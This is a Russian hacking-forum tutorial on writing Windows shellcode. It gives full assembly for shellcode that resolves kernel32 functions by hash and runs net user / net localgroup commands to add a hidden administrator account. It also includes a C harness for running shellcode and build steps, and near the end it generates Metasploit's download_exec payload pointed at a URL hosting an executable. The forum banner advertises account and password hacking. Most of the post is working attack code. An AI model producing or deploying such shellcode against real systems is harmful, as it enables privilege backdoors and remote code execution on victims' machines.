Форум о защите от: хакеров, взлом, раскрутка, хакер, вирусы, взлом программы, взлом паролей, взлом вконтакте, взлом icq, раскрутка сайта, взлом скачать, взлом почты, взлом ru, проги взлома, хакер, программа взлома, трояны, программирование

Хакер, взлом, программа, сайт, форум, информатика, железо, разгон, раскрутка, SEO, защита, безопасность, взломать, как взломать, взлом icq, взлом вконтакте, взлом программ, одноклассники, взлом почты, взлом аськи
Текущее время: 30-04, 02:54

Часовой пояс: UTC + 3 часа




Начать новую тему Ответить на тему  [ 1 сообщение ] 
Автор Сообщение
 Заголовок сообщения: Как писать шеллкоды под windows
СообщениеДобавлено: 27-03, 18:36 
Не в сети
<b><font color=red>Admin</font></b>
Аватара пользователя

Зарегистрирован: 22-05, 15:38
Сообщения: 1901
В этой статье речь пойдет о написании простого шеллкода под Windows платформу. Статья является начальным этапом цикла статей, которые я, опираясь на материалы и труды зарубежных специалистов в данной области, планирую написать.
Эта статья не насыщена всеобъемлющей информацией, однако её цель - предоставить четкое представление о работе шеллкода и его написании. Надеюсь у меня это получится.

Шеллкод(shell code) - изначальное название получил благодаря совим первым действиям - запускал оболучку sh(shell) в Unix-системах. На данный момент это название лишь дань традиции, а действия шеллкодов ограничены лишь фантазией их создателя и областью исполняемого кода в уязвимой программе. Говоря простым языком, шеллкод - это набор опкодов(инструкций ассемблера, вида \xDD\xDD\xDD), который помещается в память уязвимой программы, и выполняет свои действия при передаче на него управления.
Если смотреть на уровне абстрацкий и ассоциаций, то шеллкод можно представить, как пулю выпущенную из пускового механизма(эксплойта), и влекущую за собой какие-либо действия, в зависимости от того, разрывная ли пуля, парализующая или со смещнным центром тяжести =)
Каждый волен думать, как ему угодно и удобней всего, но принцип работы представлять нужно. Так что, начнем знакомство.

Для начала немного теории в виде вопрос[Q]-ответ[A]:
[Q] Каковы различия между Windows и Linux шеллкодами?
[A] Linux, в отличии от Windows, обеспечивает прямой доступ для взаимодействия с ядром системы через интерфейс системных вызовов Int 0x80.
Полную таблицу системных вызовов Linux можно найти на http://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html.
Windows наоборот, не имеет прямого интерфейса для работы с ядром. Система работает благодаря загрузке в память адресов WinAPI функций необходимых для её работы, которые выполняются из системных библиотек DLL(Dynamic Link Library).
Основным различием этих двух ОС является то, что в Windows адреса функций могут менятся от версии к версии, в то время как номера вызовов в Int 0x80 Linux остаются постоянно неизменными.

[Q] Как определить адрес необходимой функций в Windows, если они меняються от версии к версии?
[A] Есть несколько способов найти адрес функции, которую необходимо использовать. Мы рассмотрим два из них: использование жесткой адрессации фвызываемых функций, т.е. под конкретно заданную верси'ю(и) системы, и поиск адреса функций во время выполнения программы(динамический).
Библиотека(DLL), которая гарантированно будет использоваться при создании любого шеллкода - kernel32.dll.
В ней содержатся адреса двух важных функций: LoadLibrary() и GetProcAdress(), которые будут подключать другие необходимые для шеллкода функции по названию DLL по адресу в ней. Такой подход имеет большой недостаток: из-за возможных смещений адресов фунций в различных версиях Windows(сервис паки, патчи, язык, и т.д.), шеллкод будет работать только на какой-либо заведомо известной версии, либо версиях с одинаковой адресацией необходимых функций.
При динамическом поиске, мы пишем шеллкод, который сам сможет найти адреса используемых им функций в системе, поэтому такой шеллкод будет универсален для разных версий Windows.

Создим рабочую среду.
В статье речь пойдет о создании шеллкода для Windows, но работать будем из под эмулятора nix-систем Cygwin, т.к. для написания шеллкодов под Linux создано много хороших иснрументов, и одновременно с этим Cygwin предоставит прямой доступ к библиотекам Windows.
Скачать установочный файл Cygwin можно тут: http://www.cygwin.com/setup.exe
Во время установки будет предложен выбор необходимых пакетов, которые вы можете установить. Для разработки и создания шеллкода отлично подойдут:
- Devel -> Binutils (содержит ld или objdump)
- Devel -> gcc
- Devel -> make
- Devel -> nasm
- Devel -> gdb
- Editors -> hexedit
- Net -> netcat
- System -> util-linux

Из сторонних разработок, облегчающих создание шеллкода мы будем использовать:
- [url="http://www.projectshellcode.com/downloads/xxd-shellcode.sh]Xxd-shellcode.sh[/url]
Парсит результат xxd-утилиты для создания raw-шеллкода(делает дамп и добавляет к каждому из значений \x). Для работы требуется наличие nix-программы xdd. У меня её не оказалось, поэтому я заменил её perl-скриптом от Peter N Lewis, который слегка модифицировал для подходящего результата.
- [url="http://www.projectshellcode.com/downloads/arwin.c]Arwin.c[/url]
Находит адрес необходимой функции по её названию и названию библиотеки в которой она находится.
- [url="http://www.projectshellcode.com/downloads/findFunctionInDLL.sh]FindFunctionInDLL.sh[/url]
Скрипт-надстройка для Arwin.exe, который не требует названия библиотеки в которой находится искомый адрес функции. Достаточно будет задать лишь имя функции.
- [url="http://www.projectshellcode.com/downloads/shellcodetest.c]shellcodetest.c[/url]
Используется как несущий каркас для шеллкода. Представляет собой сишный код с функцией main(). Необходим для компиляции шеллкода и его проверки на работоспособность.
- [url="http://www.metasploit.com/framework/download/]Metasploit Framework >=3.3[/url]
Фрэймворк для разработки, тестирования и создания эксплойтов. Начиная с версии 3.3 в MsF интегрирован Cygwin(\Metasploit\Framework3\shell.bat), который я буду использовать при дальнейшем описании. Данный Cygwin не включает в себя компилятор gcc, поэтому я заменил его аналогом под Windows платформу - lcc-win32.
- [url="http://www.q-software-solutions.de/pub/lccwin32.exe]lcc-win32[/url]
- [url="http://www.ollydbg.de]OllyDbg[/url] >=1.10
Быстрый и удобный отладчик программ, или его аналог [url="http://www.immunityinc.com]Immunity Debugger[/url].

Теперь можно приступить к созданию шеллкода.
Для начала поместим все необходимые программы в рабочую папку Cygwin'a. У меня эта папка C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\. Все программы, которые будут задействованы через консоль bash хранятся в этой папке. Это не обязательно, но избавляет от мелких неудобств с постоянным вводом путей.
Начнем с самого простого - вызов функции. Для примера возьмем функцию Sleep(), которая остановит выполнение программы на 5 секунд, благодаря чему можно будет определить выполнился ли шеллкод.
[Q] Как найти адресс функции в Windows DLL?
[A] В ассемблере, для вызова функций используется инструкция "call 0xXXXXXXXX", где XXXXXXXX адрес функции в памяти, и нам требуется его найти. Для поиска мы воспользуемся программой arwin.exe, запустив которую увидим:

Изображение
Адрес рисунка: http://s49.radikal.ru/i125/1103/41/b8e6ac76e304.jpg

Таким образом, чтобы использовать arwin для поиска нам необходимо знать название DLL, которая содержит искомую функцию. В данном случае функцию Sleep().
Самыми частоиспользуемыми являются функции из библиотек kernel32.dll, user32.dll и ws2_32.dll, и их использование зависит от конечной цели шеллкода.
Так как мы не знаем в какой из библиотек находится функция Sleep(), воспользуемся скриптом-надстройкой Arwin'a findFunctionInDLL.sh:
Код:
#!/bin/bash

if [ $# -ne 1 ]
then
printf "\n\tUsage: $0 functionname\n\n"
exit
fi

functionname=$1
searchDir="/cygdrive/c/WINDOWS/system32"

arwin_exe="`pwd`/arwin.exe"
cd $searchDir

ls -1d *.dll | grep -v gui | while read dll
do
printf "\r ";
printf "\r$dll";
count=0
count=`$arwin_exe $dll $functionname | grep -c "is located at"`
if [ $count -ne 0 ]
then
printf "\n";
$arwin_exe $dll $functionname | grep "is located at"
printf "\n";
fi
done
printf "\r ";


Теперь мы можем, воспользовавшись этим скриптом, найти адресс функции Sleep() и заодно название библиотеки в которой она хранится:

Изображение
Адрес рисунка: http://s52.radikal.ru/i136/1103/34/959d5731b5b5.jpg

Обращаю внимае на то, что название функции прописывается с большой буквы.
Этот поиск занимает некоторое время, так что если вам заведомо известно название dll, в которой хранится искомая функция, вы можете использовать arwin.exe:

Изображение
Адрес рисунка: http://s009.radikal.ru/i309/1103/ad/7e072a345576.jpg

Адрес, который получился у меня может отличаться от вашего в зависимости от версии операционной системы и установленных сервис паков.
Я использую Windows XP SP3 RUS, а это значит что шеллкод будет работать на ней, и, возможно, ещё на нескольких видах XP, в которых адреса этой функции совпадают с нашими. Это и есть тот основной недостаток метода с жесткой адресацией. Более совершенный метод будет описан ниже.
Теперь приступим к написанию кода использующего функцию Sleep(). Писать, конечно же, будем на ассемблере. Вот этот код:
Код:
;sleep.asm
[SECTION .text]

; Устанавливает 32-хбитность
; Совет: Если эта запись отсутствует в более сложных шеллкодах, то результат их работы может быть не совсем корректен.
BITS 32

global _start

_start:
; очищаем EAX регистр
xor eax,eax

; помещаем адресс функции Sleep() полученный из arwin.exe в регистр EBX"
mov ebx, 0x7c802442

; устанавливаем значение для паузы в 5000 мсек поместив значение в регистр ax (8 битный EAX регистр)
mov ax, 5000

; помещаем EAX в стек в качестве первого параметра функции Sleep(), т.к. при вызове функции её параметры берутся из стека.
push eax

; вызываем функцию Sleep() по адресу находящемуся в EBX
call ebx


Помещаем этот код в файл sleep.asm.
Это и есть наш шеллкод в ассемблерном представлении, который мы должны скомпилировать для дальнейшего получения шестнадцатиричного дампа. Это может быть сделано при помощи компилятора nasm следующим образом:

Изображение
Адрес рисунка: http://i046.radikal.ru/1103/8a/1c7cccdbd5a1.jpg

Теперь, когда у нас есть бинарный файл мы можем использовать программу для снятия hex-дампа с помощью скрипта xxd-shellcode.sh, который является надстройкой к nix-программе xxd. Вот его код:
Код:
#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.bin\n\n"
    exit
fi

filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode

for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
    echo -n "\\$i" >> $filename.shellcode
    echo -n "\\$i"
done
echo


Для запуска достаточно написать: ./xxd-shellcode.sh sleep.bin и вы получите готовый шеллкод.
У меня под рукой xxd не оказалось, и я воспользовался перловым сценарием от Peter N Lewis, который был мной слегка модифицирован для получения необходимого результата:
Код:
#!/usr/bin/perl

# Written by Peter N Lewis a long time ago
# Released in to the Public Domain
# modified version.

use strict;
use warnings;

usage() if $ARGV[0] and $ARGV[0] =~ m!^-[^-]!;

our $filepos = 0;
our $linechars = '';

foreach (@ARGV) {
    if ($_ eq "-") {
        binmode STDIN;
        *FILE = *STDIN;
    }
    else {
        open FILE, '<:raw', $_ or die "no such file $_";
    }
    while (<FILE>) {
        dump_char($_) foreach split(//);
    }
    dump_char( ' ', 1 ) while length($linechars) != 0;
    close FILE;
}

sub dump_char {
  my ( $char, $blank ) = @_;

  if ( $blank ) {
    print '   ';
  } else {
    printf( "\\x%x", ord($char) );
  }
}

sub usage {
  print STDERR <<EOM;
Usage: hdump.pl [file]...
Example `hdump.pl .cshrc' or `ls -l | hdump.pl'
EOM
  exit( 0 );
}


Запускаем и смотрим:

Изображение
Адрес рисунка: http://s58.radikal.ru/i161/1103/1e/e030ab068b52.jpg

Получили шеллкод: "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3"; и теперь его надо протестировать. Необходимо поместить его в тестовый сишный каркас, и скомпилировать в .exe. Для таких целей у нас есть специальный код shellcodetest.c:
Код:
/*shellcodetest.c*/
char code[] = "сюда вставляем получившийся шеллкод"; /*должно быть так "char code[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x88\x13\x50\xff\xd3""*/
int main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}


Вставив получившийся у нас шеллкод функции Sleep() в shellcodetest.c, компилируем её с помощью gcc: gcc -o shellcodetest shellcodetest.c
Я воспользуюсь аналогом gcc lcc-win32 и ввожу следующие команды:
Код:
cmd\>lcc.exe "C:\Program Files\Metasploit\Framework3\home\r00t\Tutor\shellcodetest.c"
cmd\>lcclnk.exe shellcodetest.obj


В итоге получаем shellcode.exe. Запускаем и проверяем:
По истечении 5-тисекундной паузы появится мэсэджбокс, и нажав ОК программа завершиться аварийно, выдав в консоль "abnormal program termination".
Это хороший знак в нашем случае, и шеллкод сработал как ему и пологалось.

Что ж, попробуем усложнить задачу, и напишем шеллкод который будет выполнять команды Windows, например, создаст дополнительную учетную запись администратора.
Также, мы рассмотрим определение и поиск строковых констант, а именно код командной строки, который надо выполнить, и попытаемся "чисто" завершить процесс, не прибегая к аварийному завершению, как это было ранее.
Наша основная цель - найти командную строку и выполнить её код с помощью функции WinExec, тем самым создав новую учетную запись администратора.
[Q] Какие функции нам сейчас понадобятся, и где их искать?
[A] Для запуска процесса выполняющего наши команды в системах Windows необходимо вызвать функцию WinExec, а для правильного завершения процесса функцию ExitProcess. Обе эти функции находятся в kernel32.dll. Найдем их адреса с помощью arwin.exe, как было сделано выше:

Изображение
Адрес рисунка: http://i047.radikal.ru/1103/67/418c27449477.jpg

Определение и поиск строковых констант.
Строковая констата, которую мы будем помещать в наш шеллкод, должна выглядеть так:
cmd.exe /c net user PSUser Passwd /ADD && net localgroup Администраторы /ADD User
где PSUser и Passwd - имя и пароль нового администратора. Не забудьте заранее просмотреть свои группы пользователей и вписать название нужной. Следующий код показывает, как будет определена данная строка в конце кода шеллкода, и её вызов.
Код вызова следующий:
Код:
jmp short GetCommand   ;Перейти на код метки GetCommand, под которой будет размещена строковая константа с кодом командной строки.
CommandReturn:         ;Создает метку на которую нужно вернуться после выполнения GetCommand
   pop ebx            ; выталкивает нашу команду из стека. Завершение.


Код выполнения следующий:
Код:
 GetCommand:         ;Создаем метку
        call CommandReturn
        db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки
        db 0x00       ;Отрубить символ конца строки


Теперь напишем весь код adduser.asm. Не забудьте заменить адреса функций WinExec и ExitProcess на получившиеся у вас значения.
Код:
;adduser.asm
[Section .text]

BITS 32

global _start

_start:

jmp short GetCommand    ;Перейти на код метки GetCommand, под которой будет размещёна строковая константа с кодом командной строки.
CommandReturn:          ;Определяем метку вызова помещения адреса командной строки в стек
    pop ebx          ;ebx теперь указывает на командную строку

    xor eax,eax       ;очистили EAX
    push eax          ;помещаем в стек значение регистра EAX
    push ebx          ;помещаем в стек значение регистра EBX, т.е. код командной строки
    mov ebx,0x7c8623ad    ;помещаем в EBX адрес вызова функции WinExec
    call ebx          ;вызываем EBX (WinExec)

    xor eax,eax       ;сново очищаем EAX
    push eax          ;помещаем EAX в стек
    mov ebx, 0x7c81cafa ;помещаем в EBX адрес функции ExitProcess
    call ebx          ;Вызываем ExitProcess;

GetCommand:          ;Создаем метку
    call CommandReturn    
    db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User" ;записывает байткод данной командной строки
    db 0x00          ;Отрубить символ конца строки


Сохраняем этот код в adduser.asm и компилируем: nasm -f bin -o adduser.bin adduser.asm
Получили бинарник нашего шеллкода adduser.bin, который надо привести в нормальный вид(снять его шестнадцатиричный дамп) при помощи программы xxd( xxd -i adduser.bin) или xxd-shellcode(./xxd-shellcode.sh adduser.bin).
Я же воспользуюсь перловым скриптом hc.pl:

Изображение
Адрес рисунка: http://s39.radikal.ru/i083/1103/52/2d5f4744f95e.jpg

Теперь остается протестировать данный шеллкод, повторив действия с компиляцией shellcodetest.c описанные ранее. Получив exe-шник запустим его и проверим создалась ли учетная запись:

Изображение
Адрес рисунка: http://s015.radikal.ru/i331/1103/16/e1947083cc76.jpg

Как видно, шеллкод сработал.
Не забудьте удалить новоиспеченную учетную запись в целях безопасности командой: net user PSUser /delete
Замечу, что получение и тестирование шеллкода мы рассматриваем в развернутом виде. Есть и более простые и быстрые способы, но они не столь прозрачны.

Динамический шеллкод.
Вот мы и подошли ко второму способу написания шеллкода, а именно - динамическому поиску. В отличии от шеллкода с жестко заданными адресами функций, который работатет только под определенной версией Windows, этот шеллкод будет работать под разными версиями путем самостоятельного нахождения адресов по заданым в нём хэшам имен функций необходимых для выполнения кода. Способ универсален, но из-за этого шеллкод набирает в весе, что, как вам может быть известно, не всегда хорошо сказывается на его работоспособности и применимости.
Для того чтобы шеллкод мог искать имена функций, нам необходимо вписать в него шестнадцатиричные хэши этих имен, после чего мы вставим их в поисковый код шеллкода. Этот код будет высчитывать и перебирать хэши имен всех функций находящихся в библиотек dll, и сравнивать их значения с искомыми, заданными в шеллкоде.
Рассмотрим этот порцесс детальнее на примере, но для начала составим программу генерирующую хэши имен искомых функций.
hash-generator.asm

Код:
;hash-generator.asm
[SECTION .text]

BITS 32

global _start

_start:

jmp start_asm

;Определяем функции

;функция: get_current_address

get_current_address:
    push 0 ;создать область в стеке
    push eax ;поместить значение eax в стек
    mov eax, [esp+8] ;копировать адрес возврата в eax
    mov dword [esp+4], eax ;поместить адрес возврата в область результатов
    pop eax ;восстановить первоначальное значение eax
    ret ;вернуться к инструкции вызвавшей функцию

;Конец функции: get_current_address

;Функция: compute_hash

compute_hash:
    push 0 ;создать случайную область в стеке
    pushad ;sсохранить текущие значения регистров в стеке
    mov eax, [esp+36] ;копировать адрес возврата в eax
    mov dword [esp+32], eax ;;поместить адрес возврата в область результатов
     
    xor edi, edi ;обнулить edi. В нём буду тхраниться хэш-значения имен функций
    xor eax, eax ;обнулить eax
    cld
compute_hash_again: ;функция высчитывающая хэш-имя функции
    lodsb ;поместить текущий символ в eax
    test al, al ;проверяет ноль в конце строки
    jz compute_hash_finished
    ror edi, 0xd ;
    add edi, eax ;добавить текущий символ к хэшу
    jmp compute_hash_again
compute_hash_finished: ;конец функции
     ;в edi находяться хэши в обратном порядке

    mov edx, edi ;поместить хэши в edx
reverse_next_hash_section: ;функция переворота хэшей
    mov al, dl ;поместить первые 8 бит в регистр al
    shr edx, 8 ;сдвинуть EDX вправо для следующих 8 бит хэша
    test dl, dl ;проверка на ноль - завершение переворота хэша
    jz reverse_hash_finished ;если ноль, вызвать функцию завершения переоворота хэшей
    shl eax, 8 ;сдвинуть eax влево на 8 бит, для следующей секции хэша
    jmp short reverse_next_hash_section ;вернуться назад на переход к следующему разделу
reverse_hash_finished: ;полный хэш находиться сейчас в eax в верном порядке
    mov dword [esp+36], eax ;поместить возвращаемое значение в возвращаемое место
    popad ;восстановить исходные значения регистров
    ret ;вернуть к инструкции вызвавшей функцию

;конец функции: compute_hash

;Определение констант

locate_constants: ;метка начала констант
    call get_current_address ;определить текущее местоположение в памяти
    pop esi ;указатель на функцию содержащую строки
    add esi, 9 ;поместить в esi указатель на команду
    jmp short locate_constants_return ;вернуться к главному коду

    ;создаем строки с названиями функций
    db "LoadLibraryA" ;значение хэша = 0x8e4e0eec
    db 0x00
    db "WriteFile" ;значение хэша = 0x1f790ae8
    db 0x00
    db "CloseHandle" ;значение хэша = 0xfb97fd0f
    db 0x00
    db "Sleep" ;значение хэша = 0xb0492ddb
    db 0x00
    db "ReadFile" ;значение хэша = 0x1665fa10
    db 0x00
    db "GetStdHandle" ;значение хэша = 0x23d88774
    db 0x00
    db "CreatePipe" ;значение хэша = 0x808f0c17
    db 0x00
    db "SetHandleInformation" ;значение хэша = 0x44119e7f
    db 0x00
    db "WinExec" ;rзначение хэша = 0x98FE8A0E
    db 0x00
    db "ExitProcess" ;значение хэша = 0x7ED8E273
    db 0x00
    ;указатель конца списка
    db 0x00

;Конец блока определения констатнт

start_asm:
    int 3 ;прерывание указывающее на старт программы
    int 3 ;второе прерывание(брекпойнт) здесь только для демонстрации в отладчике
    jmp locate_constants ;найти местоположение констант
locate_constants_return: ;определить куда вернуть после

next_hash: ;начало цикла для следуещего хэша
    push esi ;поместить значение esi в качестве параметра функции compute_hash function
    call compute_hash ;compute_hash(строка из esi)
     ;результат находиться в первой строке стека
    int 3 ;остановить отладчик после генерации каждого хэша, для демонстрации работы программы
    int 3 ;демонстраця

    xor eax,eax ;очистить eax
check_null: ;помещается указатель на название следующей функции
    lodsb ;помещаеться текущий символ в eax
    test al,al ;проверка на ноль
    jz is_null ;если ноль, значит конец строки
    jmp short check_null ;вернуться назад и проверить следующий символ
is_null:
    lodsb ;поместить текущий символ в eax
    dec esi ;переметиться назад на одну позицию
    test al,al ;проверяем на ноль
    jnz next_hash ;два нуля означают конец, иначе перейти к следующему хэшу

end:
    int 3 ;демонстрация списка хэшей в стеке.
    int 3 ;остановить отладчик
    int 3 ;для вида


Сохраните этот исходник в рабочей папке под названием hash-generator.asm, и скомпелируйте его:
nasm -f bin -o hash-generator.bin hash-generator.asm

Теперь, имея бинарный файл, воспользуемся xxd-shellcode.sh для получения шеллкода, как это было описано выше.
Поместим полученный массив значений в shellcodetest.c и скомпилируем.
Получили exe файл с нашим шеллкодом, и сейчас посмотрим на весь процесс создания хэшей имен функций под отладчиком. Воспользуемся для этих целей OllyDbg'ом или Immunity Debuger'ом.
Запускаем программу и открываем наш shellcodetest.exe.

Изображение
Адрес рисунка: http://i025.radikal.ru/1103/1f/f4819426ecb7.jpg

На скриншоте изображена рабочая область программы Immunity Debuger(тоже самое, что и OllyDbg). Как видно, изображено четыре области:
-окно процесса выполнения программы. В нем находятся адреса ассемблерных инструкций(первый столбик), шестнадцатиричные представления этих инструкций(второй столбик), сами ассемблерные инструкции(третий столбик), и столбик с комментариями, которые создает отладчик при анализе программы. В этом окне выполняются основные манипуляции влияющие на ход выполнения программы.
-окно состояния регистров. Содержит список регистров процессора и значения которые они содержат. Основная цель это окна - показать, как инструкции влияют на регистры.
-окно стека - позволяет увидеть, что попадает в него, и что выталкивается. Наблюдая за этим процессом не сложно понять принцип работы стека - "Первым пришел, первым вышел".
-окно дампа памяти - позволяет видеть и искать необходимые байты в памяти.
-кнопка F9(Run) - запускает автоматическое выполнение кода программы.
-кнопка F7(Step into) - пошаговое выполнение кода программы с захождением в функции.
-кнопка F8(Ыеуз over) - пошаговое выполнение кода программы без захождения в функции.

Мы будем использовать только F9. В нашем коде имеются прерывания int3 - это иммитация точек останова(breakpoint), которые будут останавливать процесс выполнения, для того чтобы была возможность обратить внимание на основные моменты.

Изображение
Адрес рисунка: http://s14.radikal.ru/i187/1103/9d/075e0dce0d24.jpg

На рисунке отмечена первая точка останова. После неё начинается основная часть нашего кода. Если вы хотите посмотреть, что происходит в стеке и регистрах на протяжении процесса выполнения, то можете воспользоваться кнопками F7 и F8.
Вы могли заметить, что в некоторых местах кода, встречаются два идущих подряд int3. Это созданно для того, чтобы продемонстрировать саму процедуру останова из-за int3, а не из-за возможной ошибки.
Перед двумя этими брейкпойнтами находится инструкция "call compute_hash" - вызов функции, которая вычисляет хэш и помещает его в стек. В данном случае хэш первой функции LoadLibraryA равен 8E4E0EEC.
Продолжая нажимать F9, можно наблюдать за тем, как хэши по очереди ложаться в стек, до самого конца списка функций.

Изображение
Адрес рисунка: http://s007.radikal.ru/i300/1103/3c/7232b70a78e2.jpg

Думаю, принцип нахождения хэшей более-менее понятен.
Теперь применим его на предыдущем нашем шеллкоде с жестко заданными адресами, и тем самым сделаем его переносимым на большее количество версий Windows.
В шеллкоде создающем учетную запись мы использовали две системные функции: WinExec() и ExitProcess(). Сейчас мы уже имеем хэши этих функций, и знаем как их связать с константами содержащими их реальные названия:
Код:
;определение констант

    locate_hashes:
        call locate_hashes_return

        ;WinExec        ;хэш = 0x98FE8A0E
        db 0x98
        db 0xFE
        db 0x8A
        db 0x0E

        ;ExitProcess        ;хэш = 0x7ED8E273
        db 0x7E
        db 0xD8
        db 0xE2
        db 0x73

    ;конец определения констант


Но для начала нам необходимо найти в памяти системную библиотек содержащую эти функции - kernel32.dll. Она всегда загружается вместе с Windows и рамещается в предсказуемой области памяти, поэтому найти её не составит особого труда, после чего мы приступим к поиску адреса нужных нам функции. Это будет происходить путем перебора всех функций входящих в kernel32.dll, вычислением их хэшей, и сравнением этих хэшей с двумя нашими(от функций winexec() и exitprocess()).

Код шеллкода adduser-dynamic.asm:
Код:
;adduser-dynamic.asm
[SECTION .text]

BITS 32

global _start

_start:

    jmp start_asm

;Определяем функции

;Функция поиска kernel32.dll в памяти : find_kernel32
;тут находятся приблизительные адреса памяти для различных систем Windows
find_kernel32:
    push esi
    xor eax, eax
    mov eax, [fs:eax+0x30]
    test eax, eax
    js find_kernel32_9x
find_kernel32_nt:
    mov eax, [eax + 0x0c]
    mov esi, [eax + 0x1c]
    lodsd
    mov eax, [eax + 0x8]
    jmp find_kernel32_finished
find_kernel32_9x:
    mov eax, [eax + 0x34]
    lea eax, [eax + 0x7c]
    mov eax, [eax + 0x3c]
find_kernel32_finished:
    pop esi
    ret

;Конец функции поиска: find_kernel32

;Поиск функций в kernel32: find_function

find_function:
    pushad
    mov ebp, [esp + 0x24]
    mov eax, [ebp + 0x3c]
    mov edx, [ebp + eax + 0x78]
    add edx, ebp
    mov ecx, [edx + 0x18]
    mov ebx, [edx + 0x20]
    add ebx, ebp
find_function_loop:
    jecxz find_function_finished
    dec ecx
    mov esi, [ebx + ecx * 4]
    add esi, ebp ;esi содержит название текущей функции
     ; начинаем вычислять её хэш
compute_hash:
    xor edi, edi ; обнуляем edi для хранения результатов вычислений
    xor eax, eax ;обнуляем eax для хранения символов имен функций
    cld
compute_hash_again:
    lodsb ;помещаем текущий символ в eax
    test al, al ; проверяем на наличие ноля - знак конца строки
   ;как только появился ноль, начинаем вычисление
    jz compute_hash_finished
    ror edi, 0xd
    add edi, eax
    jmp compute_hash_again
compute_hash_finished: ; конец функции вычилсения
find_function_compare:
    ;сравнение полученного при вычислении хэша с хэшами нужным нам функций которые мы указали
    cmp edi, [esp + 0x28]
    jnz find_function_loop
    mov ebx, [edx + 0x24]
    add ebx, ebp
    mov cx, [ebx + 2 * ecx]
    mov ebx, [edx + 0x1c]
    add ebx, ebp
    mov eax, [ebx + 4 * ecx]
    add eax, ebp
    mov [esp + 0x1c], eax
find_function_finished:
    popad
    ret
   
;Конец функции: find_function

;Функция: resolve_symbols_for_dll

resolve_symbols_for_dll:
    ;помещаем текущий хэш(на который указывает esi) в eax
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add esp, 0x08
    add edi, 0x04
    cmp esi, ecx
    jne resolve_symbols_for_dll
resolve_symbols_for_dll_finished:
    ret
;Конец функции: resolve_symbols_for_dll

;Объявление констатнт
   
locate_hashes:
    call locate_hashes_return

    ;WinExec ;хэш = 0x98 FE 8A 0E
    db 0x98
    db 0xFE
    db 0x8A
    db 0x0E

    ;ExitProcess ;хэш = 0x7E D8 E2 73
    db 0x7E
    db 0xD8
    db 0xE2
    db 0x73

;Конец объявления констатнт

start_asm: ;старт главной программы

    sub esp, 0x08 ; выделения места в стеке для адресов функций
    mov ebp, esp

    call find_kernel32 ;ищем адрес Kernel32.dll
    mov edx, eax
   
    jmp short locate_hashes ;найти адрес хэша
locate_hashes_return: ;запомнить адрес возврата
    pop esi ;получить адреса констант из стека
    lea edi, [ebp + 0x04] ;здесь сохраняем адрес функции
    mov ecx, esi
    add ecx, 0x08
    call resolve_symbols_for_dll

;секция кода для добавления пользователя в систему

    jmp short GetCommand
CommandReturn:
    pop ebx

    xor eax,eax
    push eax
    push ebx
    call [ebp+4] ;вызов WinExec(path,showcode)

    xor eax,eax ;обнуляем eax
    push eax
call [ebp+8] ;вызов ExitProcess(0);

GetCommand:
    call CommandReturn
    db "cmd.exe /c net user User Passwd /ADD && net localgroup Администраторы /ADD User"
    db 0x00


Первая команда(jmp start_asm) вызывает главную подпрограмму(main) шеллкода. Выделяем место в стеке для адресов наших функций. Размер одной функции 4 байта, а т.к. их у нас две, то выделяем 8 байт(sub esp, 0x08). Если ваши будущие шеллкоды будут содержать больше функций, то при подсчете выделяемого для них пространства, помните о том, что исчисление происходит в шестнадцатиричной системе.
После этого следует сохранение кадра стека в ebp, для того, чтобы можно было потом к нему возвратиться, например так:
Код:
call [ebp+4]     ;WinExec
call [ebp+8]     ;ExitProcess


В нашем шеллкоде присутствует функция find_kernel32, которая помещает адрес kernel32.dll в eax. Мы берем хэши наших функций и вызываем функцию resolve_symbols_for_dll. Эта функция, в свою очередь, использует функцию find_function, которая используя цикл, перебирает названия функций из kernel32, вычисляет хэш и сравнивает с нашими заведомо известными.
Попробуем скомпилировать и проверить на работоспособность. Для этого повторяем шаги описанные выше:
-компилируем .asm код: nasm -f bin -o adduser-dynamic.bin adduser-dynamic.asm
-получаем дамп: ./xxd-shellcode.sh adduser-dynamic.bin
-помещаем его в shellcodetest.c и компилируем:
lcc.exe shellcodetest.c
lcclnk.exe shellcode.obj
-запускаем получившийся .exe и проверяем результат: net user
Если появился пользователь User - все сработало как надо.
Удаляем пользователя из системы: net user User /delete

Вот и все основые принципы работы и написания шеллкода под Windows платформу. Надеюсь, что описал доступно. Однако, чтобы каждый раз не приходилось писать шеллкод самому, существует замечательный фреймворк для разработки и тестирования эксплойтов - Metasploit Framework.
Для работы с MsF существует несколько видов пользовательских интерфейсов. Самые распространенные: веб(msfweb) и консоль(msfconsole).
В веб инерфейсе, запускающемся по адресу http://127.0.0.1:55555, всё относительно просто, и шеллкод создается в пару-тройку кликов мышкой. Для этого следует пройти в меню "Payloads", и выбрать в появившемся окне интересующий шеллкод. После выбора будет предоставлено окно с настройкой функций шеллкода, а также выбор энкодера и формата вывода шеллкода. Нажав "Generate", фреймворк выдаст нужный шеллкод:
Изображение
Адрес рисунка: http://i048.radikal.ru/1103/ea/56bad52adaad.jpg

Что насчет консольного варианта, то тут надо поработать руками, и для выбора шеллкода, ввести следующие команды:
show payloads - выведет список доступных шеллкодов
Если хотим получить информацию о шеллкоде, например об "windows/download_exec", пишем:
info payload/windows/download_exec
Изображение
Адрес рисунка: http://s45.radikal.ru/i109/1103/7c/843529c77a82.jpg

Если хотим использовать:
use payload/windows/download_exec - и сразу же можете смотреть его параметры введя "set ", и нажать два раза Tab. Буквами в верхнем регистре указываются обязательные параметры.
Изображение
Адрес рисунка: http://s011.radikal.ru/i316/1103/ba/f11801b3b566.jpg

Установив URL в значение http://site.com/downloadme.exe, генерируем код командой "Generate":
Изображение
Адрес рисунка: http://s11.radikal.ru/i183/1103/60/495350daa2fa.jpg

На этом введение в написание шеллкодов закончено.
Спасибо за уделенное внимание.

По материалам [url="http://projectshellcode.com/]projectshellcode.com[/url]

© p(eaZ. Vulnes.com 02.2011


